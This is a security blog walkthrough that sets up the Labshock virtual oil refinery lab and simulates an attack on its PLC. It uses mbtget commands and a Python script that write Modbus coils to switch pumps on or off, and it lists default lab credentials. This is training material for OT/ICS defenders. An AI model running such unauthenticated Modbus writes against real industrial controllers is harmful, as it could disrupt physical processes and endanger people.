Introduction
Purpose of the blogpost
This blog post provides a step-by-step guide for setting up a virtual oil processing plant using https://labshock.github.io/. We will then demonstrate how to simulate a cyberattack by writing a custom python script. This exercise is designed for security professionals, engineers, and researchers interested in OT/ICS security.
What is Labshock?
Labshock is a practical operational technology (OT) and industrial control systems (ICS) cybersecurity lab environment. It provides the opportunity to analyze industrial protocols, simulate cyber attacks, and test defensive strategies within a secure, virtualized setting. This environment mimics an industrial network, encompassing various devices that together manage the operations of an oil refinery.
There are not many “ready built” environments like this available for free, so a big thanks to Zakhar from Labshock for providing such a valuable resource. We need resources like Labshock to train and educate people in the field of ICS/OT, as they offer a hands-on approach to understanding and managing cybersecurity in industrial settings.
The primary focus will be on attacking the Programmable Logic Controller (PLC), which is responsible for managing and controlling process data, and the Supervisory Control and Data Acquisition (SCADA) system, which presents this data in real time. By modifying the data within the PLC, it is possible to affect the operational processes of the refinery.

What Will We Do?
- Set up the virtual oil plant with docker on Ubuntu
- Explore its architecture and potential attack surfaces
- Hack the pumps of the refinery via the Modbus protocol
Setting Up the Virtual Oil Plant
Create Your Environment
First, spin up a fresh (Ubuntu) Virtual Machine. This guide on installing Ubuntu in VMware can help: https://medium.com/@florenceify74/how-to-download-install-and-run-ubuntu-in-vmware-workstation-ce5f2d4d0438. Of course, you are free to choose your own VM.
Backups, Backups, and More Backups!
Before moving further, create snapshots. One after the fresh Ubuntu install, another after Labshock is successfully running. It saves you hours if something breaks (and it will at one point).

Install Labshock
Follow the official https://github.com/zakharb/labshock/wiki/Quickstart-Guide guide to install Labshock on your host.
Below you will find all the code or scripts that I used to setup Labshock:
Docker
#!/bin/bash
set -e
# Uninstall old Docker versions
for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do
sudo apt-get remove -y $pkg || true
done
# Prepare system for Docker repository
sudo apt-get update
sudo apt-get install -y ca-certificates curl gnupg lsb-release
# Add Docker's official GPG key
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/$(. /etc/os-release && echo "$ID")/gpg | sudo tee /etc/apt/keyrings/docker.asc > /dev/null
sudo chmod a+r /etc/apt/keyrings/docker.asc
# Add Docker repository
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/$(. /etc/os-release && echo "$ID") \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
# Update and install Docker
sudo apt-get update
sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-compose
# To run Docker without root privileges
sudo groupadd docker
sudo usermod -aG docker $USER
newgrp docker
echo "✅ Docker installation completed."
docker --versionBashDownload & build Labshock
# Clone repo
git clone https://github.com/zakharb/labshock.git
cd labshock/labshock
# Build Labshock
sudo docker compose buildShellSessionYou should see:

Starting Labshock
#!/bin/bash
set -e
echo "🚀 Starting Labshock..."
# Change to script directory
cd "$(dirname "$0")"
# Pull the latest images without rebuilding (skip build if images are already available)
echo "🔄 Pulling Labshock images..."
sudo docker compose pull
# Run Labshock containers (no rebuild, just start)
echo "🚀 Running Labshock containers..."
sudo docker compose up -d
echo "✅ Labshock is now running with Docker Compose v2!"BashYou should see this in your terminal:

Once the containers are running (verify with docker ps), open your web browser within the virtual machine and go to http://localhost. To ensure everything is functioning correctly, click on the cards to access the individual services. Now, your homelab should be up and running.

Conducting the Hack
Now we move into the fun part, penetration testing the virtual oil plant. The basic steps are:
- Understand your target
- Locate and access critical services (PLC & SCADA)
- Making sure you can interact with port 502 on the correct IP
- Interact with the PLC using Modbus
- Write and run scripts to control pump behavior
Step 1: Reconnaissance
The better you understand your target and gather information about it, the greater the potential for achieving success. This is a fundamental principle of Open Source Intelligence (OSINT), which involves collecting and analyzing publicly available information to gain insights into a target.

Start by examining the Labshock GitHub repo: https://github.com/zakharb/labshock . It provides an architectural overview, including where each service runs.

We can also find ports for the services and credentials: (https://github.com/zakharb/labshock?tab=readme-ov-file#yellow_square-services).
PORTAL # Web # https://localhost
PLC # OpenPLC # http://localhost:8080
SCADA # FUXA # http://localhost:1881, pwd: openplc/openplc
EWS # Kali Linux # http://localhost:5911/vnc.html, pwd: engineer
PENTEST # Pentest Fury # http://localhost:3443
IDS # Network Swiftness # http://localhost:1443
COLLECTOR # Tidal Collector # http://localhost:2443
And more...MarkdownI do need to highlight that using default passwords is not industry best practice. For example, to login into the PLC at http://localhost:8080 you use openplc:openplc. An attacker could easily guess this default username & password. Of course this is only a simulation. Luckily this only happens in virtual environments right?
![hxxps://programmerhumor[.]io/memes/default-credentials](https://blog.nviso.eu/wp-content/uploads/2025/06/425f7cbe2eb61a1bcf8cf383ded4fcae.jpeg)
Step 2: Explore the PLC & SCADA
Time to move deeper into the refinery. Now that we know our target better by looking at the blueprints, we want to study it more in detail. How can we wreak havoc? Turning off the pump seems like a sensible target. To do that we need to change the values on the plc. We can then look at the SCADA for the results of our attack.
PLC – Acts as the database. All inputs and outputs run through it. It communicates data of the oil process over Modbus TCP on port 502 and serves a web service on port 8080. You can see the live values of the oil process under Monitoring. For example, you see that pump1_start is mapped to %QX0.0 and is currently TRUE.

SCADA (FUXA) – The HMI (Human-Machine Interface) on port 1881 that visualizes real-time data from the PLC. If you alter the PLC values, they will be reflected here. You can for example see Pump1 on the SCADA which we also saw on the PLC. If you change coil %QX0.0 to False, the pump will turn off.

Step 3: Find the correct IP
To find the IP of the devices we want to hack, namely the PLC, we can run:
Sudo docker ps -q | sudo xargs -n1 docker inspect --format '{{.Name}} => {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'
ShellSessionYou should see this in your terminal:

Step 4: Interact with Modbus (Read Data)
To verify that we now can access port 502 on 192.169.2.10 (labshock-plc-1) you can use https://nmap.org/zenmap/ or any other scanning tool. We can use https://github.com/sourceperl/mbtget to read the data of the modbus server. First, we should try to get more familiar with Modbus:
Modbus
Modbus (or MODBUS) is a client/server data communications protocol that operates within the application layer. Initially developed for use with programmable logic controllers (PLCs), Modbus has evolved into a de facto standard for communication among industrial electronic devices across various buses and networks. More information can be found on https://en.wikipedia.org/wiki/Modbus.
Coils & Registers
Coils are digital switches in Modbus systems, controlling devices like pumps and lights. Each coil is a single-bit value, either 0 (off) or 1 (on). You can read and change their state to manage device operations.
Registers are storage locations for numerical data, such as sensor readings or settings. They come in two main types:
- Input Registers: Read-only registers that display data from sensors, helping monitor conditions without altering the data.
- Holding Registers: Read/write registers used for storing configuration data or process values, allowing updates and temporary storage.
Registers can hold more data than coils, typically in sizes of 16, 32, or 64 bits, accommodating larger numbers.
In summary, coils act as simple switches, while registers store data. Digital refers to direct connections, while slave indicates networked components within a Modbus system.
The following table from https://autonomylogic.com/docs/2-5-modbus-addressing/ shows (some) Modbus address space for the OpenPLC Linux/Windows runtime
| Modbus Data Type | Usage | PLC Address | Modbus Data Address | Data Size | Range | Access |
| Discrete Output Coils | Digital Outputs | %QX0.0 – %QX99.7 | 0 – 799 | 1 bit | 0 or 1 | RW |
| Discrete Input Contacts | Digital Inputs | %IX0.0 – %IX99.7 | 0 – 799 | 1 bit | 0 or 1 | R |
| Analog Input Registers | Analog Input (including slave) | %IW0 – %IW1023 | 0 – 1023 | 16 bits | 0 – 65535 | R |
| Holding Registers | Analog Outputs (including slave) | %QW0 – %QW1023 | 0 – 1023 | 16 bits | 0 – 65535 | RW |
Verify with the below commands if you can interact with the coils and regisers:
Pump 1 & 2
mbtget -r1 -a 0 192.168.2.10 # %QX0.0 => pump1_start
mbtget -r2 -a 0 192.168.2.10 # %IX0.0 => pump1_work
mbtget -r1 -a 8 192.168.2.10 # %QX1.0 => pump2_start
mbtget -r2 -a 8 192.168.2.10 # %IX1.0 => pump2_workShellSession⚠️ %QX1.0 maps to coil 8, assuming 8 bits per byte.

Step 5: Hack the Pumps (Write Data)
With read access confirmed, the next step is to attempt writing data to the PLC to control the pumps. This involves sending Modbus commands to manipulate the pump operations directly. The Python script below uses the mbtget tool to send commands to the PLC, allowing you to turn the pumps on or off. Here’s how it works:
- Check PLC Connection: The script first verifies the connection to the PLC using the specified IP address and port in the background.
- Control Pumps: Provides the user options to turn the pumps on or off by sending specific Modbus commands.
Hack the pump (python) script:
import os
import socket
import sys
PLC_HOST = "192.168.2.10"
PLC_PORT = 502
def check_plc_connection(host, port, timeout=3):
try:
with socket.create_connection((host, port), timeout=timeout):
return True
except OSError:
return False
def turn_on_pumps():
os.system(f"mbtget -w5 1 -a 0 {PLC_HOST}")
os.system(f"mbtget -w5 1 -a 8 {PLC_HOST}")
print("✅ Pumps are now ON.")
def turn_off_pumps():
os.system(f"mbtget -w5 0 -a 0 {PLC_HOST}")
os.system(f"mbtget -w5 0 -a 8 {PLC_HOST}")
print("✅ Pumps are now OFF.")
def main():
print(f"🛠️ Checking connection to PLC at {PLC_HOST}:{PLC_PORT}...")
if not check_plc_connection(PLC_HOST, PLC_PORT):
print("❌ Cannot connect to PLC.")
sys.exit(1)
while True:
print("\nSelect an option:")
print("1: Turn ON pumps")
print("2: Turn OFF pumps")
print("3: Exit")
choice = input("> ")
if choice == "1":
turn_on_pumps()
elif choice == "2":
turn_off_pumps()
elif choice == "3":
print("Exiting.")
break
else:
print("Invalid choice.")
# start of the script
if __name__ == "__main__":
main()PythonExplanation of mbtget -w5 1 -a 0 {PLC_HOST}
- mbtget: This tool is used to send Modbus commands to a PLC.
- –w5: This flag specifies a write command to a coil.
- 1: The value to be written to the coil. In this context,
1typically represents the “on” state, activating the device associated with the coil. 0 would mean “off”. - -a 0: The address of the coil on the PLC; 0 controls pump 1.
- {PLC_HOST}: This placeholder represents the IP address or hostname of the PLC, indicating the specific target device to which the command should be sent.
Let’s try and run this script. Looking at your HMI you should see the pumps turn on or off!



Voila, oil pumps hacked! You can try to change the other coils & registers as well. Notice that you can not write to some of them? This is because of the input/holding registers!
Does this happen in real life?
In a real life example, adversaries reportedly used FrostyGoop (ICS Modbus malware) in a cyber-attack against a Ukrainian municipal district energy company, resulting in a two-day heating system service disruption to over 600 apartment buildings in Ukraine.
Adversaries injected unauthorized ModbusTCP commands in the victim networks, targeting ENCO controllers used for heating controls. This caused system malfunctions and inaccurate heating system measurements, leading to a loss of heat for civilians during sub-zero temperatures in January 2024. The recovery and restoration took approximately two days. https://www.sans.org/blog/whats-the-scoop-on-frostygoop-the-latest-ics-malware-and-ics-controls-considerations
Conclusion
In this walkthrough, we:
- Set up an Ubuntu VM and installed Labshock
- Explored the OT environment and identified key targets
- Interfaced with the PLC via mbtget
- Successfully scripted an attack to control virtual pumps
This exercise underscores the need to identify vulnerabilities in security strategies and to practice offensive techniques to strengthen security measures.
The absence of authentication in the Modbus protocol can result in unauthorized commands being executed. By pinpointing and rectifying these weaknesses, organizations can more effectively safeguard their operations against potential cyber threats. Additionally, without SOC monitoring, there is a lack of visibility into ongoing attacks, which means that threats can go unnoticed and unaddressed. Implementing SOC monitoring enables organizations to detect and respond to attacks in real-time, further enhancing their security posture.
Reflect on your own security practices: Would your organization be able to prevent or detect this kind of attack? We encourage you to share your insights and experiences in the comments below.
Stay tuned for the next part of this series, where we will explore defensive strategies and delve into the blue team’s perspective.
Acknowledgments
- Harris Nuhanovic (special thanks for going trough everything, including running the attack!)
- Sarah Mader
- Nicholas Dhaeyer
- Emile Reyntjens
- George Panagiotakopoulos
- Created using Labshock (https://github.com/zakharb/labshock). Labshock is used under a Pro License. For commercial use, contact zebernhardt@icloud.com
Additional Resources
- Labshock Official Site https://labshock.github.io/
- Labshock Github https://github.com/zakharb/labshock
- ICS/SCADA security or tools
- courses in OT security
- https://www.sans.org/cyber-security-courses/ics-scada-cyber-security-essentials/
- https://www.sans.org/cyber-security-courses/ics-visibility-detection-response/
- https://www.sans.org/cyber-security-courses/ics-cyber-security-in-depth
- https://www.isa.org/certification/certificate-programs/isa-iec-62443-cybersecurity-certificate-program
- Modbus https://en.wikipedia.org/wiki/Modbus
- Modbus malware

Nick Foulon
Nick is a seasoned blue team expert. In his free time he likes to make and break things. If he is not doing that you might find him reading a book about history or geopolitics.

One thought on “Refinery raid”